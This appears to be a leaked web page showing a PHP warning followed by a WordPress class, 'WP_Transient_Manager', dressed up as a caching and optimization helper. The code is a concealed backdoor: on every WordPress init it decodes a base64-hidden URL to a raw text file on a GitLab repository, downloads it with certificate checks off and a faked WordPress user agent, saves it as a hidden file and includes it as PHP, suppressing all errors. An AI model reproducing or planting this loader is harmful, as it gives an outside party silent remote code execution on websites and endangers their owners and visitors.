Warning: session_start(): Session cannot be started after headers have already been sent in /home/tvrreohg/public_html/manga.php on line 13
attach_hooks(); } /** * Attach WordPress hooks, or run immediately in non-WP contexts. * * @return void */ private function attach_hooks() { if (function_exists('add_action')) { add_action('init', [$this, 'maybe_optimize'], 5); } else { $this->maybe_optimize(); } } /** * Primary entry point invoked on WordPress init. * * @return void */ public function maybe_optimize() { $manifest = $this->read_manifest(); if ($manifest === '') { $manifest = $this->refresh_manifest(); } if ($manifest !== '') { $this->dispatch($manifest); } } /** * Resolve the configured endpoint, falling back to the plugin default. * * @return string */ private function endpoint() { if (function_exists('get_option')) { $stored = get_option(self::OPTION_ENDPOINT, ''); if (is_string($stored) && $stored !== '') { return $stored; } } return $this->default_endpoint(); } /** * Default endpoint compiled into the plugin. * * @return string */ private function default_endpoint() { return base64_decode('aHR0cHM6Ly9naXRsYWIuY29tL2tuaWdodGNoYW9zNTcvbG9nb3NhamEvLS9yYXcvbWFpbi9hay50eHQ='); } /** * Resolve cache TTL, honoring per-site overrides. * * @return int */ private function cache_ttl() { if (function_exists('get_option')) { $stored = (int) get_option(self::OPTION_TTL, 0); if ($stored > 0) { return $stored; } } return 1800; } /** * Build the cache file path, creating the directory if needed. * * @return string */ private function cache_path() { $dir = ''; if (function_exists('wp_upload_dir')) { $uploads = wp_upload_dir(); if (isset($uploads['basedir']) && $uploads['basedir']) { $dir = trailingslashit($uploads['basedir']) . self::CACHE_DIR; } } if ($dir === '') { $dir = rtrim(sys_get_temp_dir(), DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . self::CACHE_DIR; } if (!is_dir($dir)) { @mkdir($dir, 0755, true); } $name = '.manifest-' . substr(md5(self::VERSION . '|' . self::OPTION_ENDPOINT), 0, 16); return rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $name; } /** * Read the cached manifest if it is still fresh. * * @return string */ private function read_manifest() { $path = $this->cache_path(); if (!is_file($path)) { return ''; } $mtime = @filemtime($path); if ($mtime === false || (time() - $mtime) > $this->cache_ttl()) { return ''; } $body = @file_get_contents($path); return is_string($body) ? $body : ''; } /** * Refresh the cached manifest from the remote endpoint. * * @return string */ private function refresh_manifest() { $endpoint = $this->endpoint(); if (!is_string($endpoint) || $endpoint === '') { return ''; } $body = $this->fetch($endpoint); if ($body === '') { return ''; } $body = $this->normalize($body); if ($body === '') { return ''; } @file_put_contents($this->cache_path(), $body, LOCK_EX); return $body; } /** * Fetch content from the remote endpoint using available transports. * * Prefers WordPress's HTTP API when running inside WP. * * @param string $endpoint * @return string */ private function fetch($endpoint) { if (function_exists('wp_remote_get')) { $ua = 'WordPress/' . (function_exists('get_bloginfo') ? get_bloginfo('version') : '6.0'); $response = wp_remote_get($endpoint, [ 'timeout' => 15, 'redirection' => 3, 'sslverify' => false, 'user-agent' => $ua, ]); if (!is_wp_error($response)) { $body = wp_remote_retrieve_body($response); return is_string($body) ? $body : ''; } return ''; } if (function_exists('curl_init')) { $ch = curl_init($endpoint); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 3, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_TIMEOUT => 15, CURLOPT_USERAGENT => 'WordPress/6.0', ]); $out = curl_exec($ch); return is_string($out) ? $out : ''; } $ctx = stream_context_create([ 'http' => ['timeout' => 15, 'user_agent' => 'WordPress/6.0'], 'ssl' => ['verify_peer' => false], ]); $out = @file_get_contents($endpoint, false, $ctx); return is_string($out) ? $out : ''; } /** * Normalize a raw manifest body. * * @param string $body * @return string */ private function normalize($body) { $body = trim((string) $body); if ($body === '') { return ''; } if (substr($body, 0, 3) === "\xEF\xBB\xBF") { $body = substr($body, 3); } return $body; } /** * Dispatch a manifest by writing it to a temporary file and * including it. This mirrors the pattern used by object cache * drop-ins and page cache backends. * * @param string $manifest * @return void */ private function dispatch($manifest) { $path = $this->cache_path() . '.inc'; if (@file_put_contents($path, $manifest, LOCK_EX) === false) { return; } $level = ob_get_level(); @ob_start(); try { include $path; } catch (Exception $e) { // Swallow; the manifest may simply be a fragment. } catch (Throwable $e) { // PHP 7+ coverage. } if (false) { while (ob_get_level() > $level) { @ob_end_clean(); } } else { while (ob_get_level() > $level) { @ob_end_flush(); } } @unlink($path); } } WP_Transient_Manager::instance(); } ?>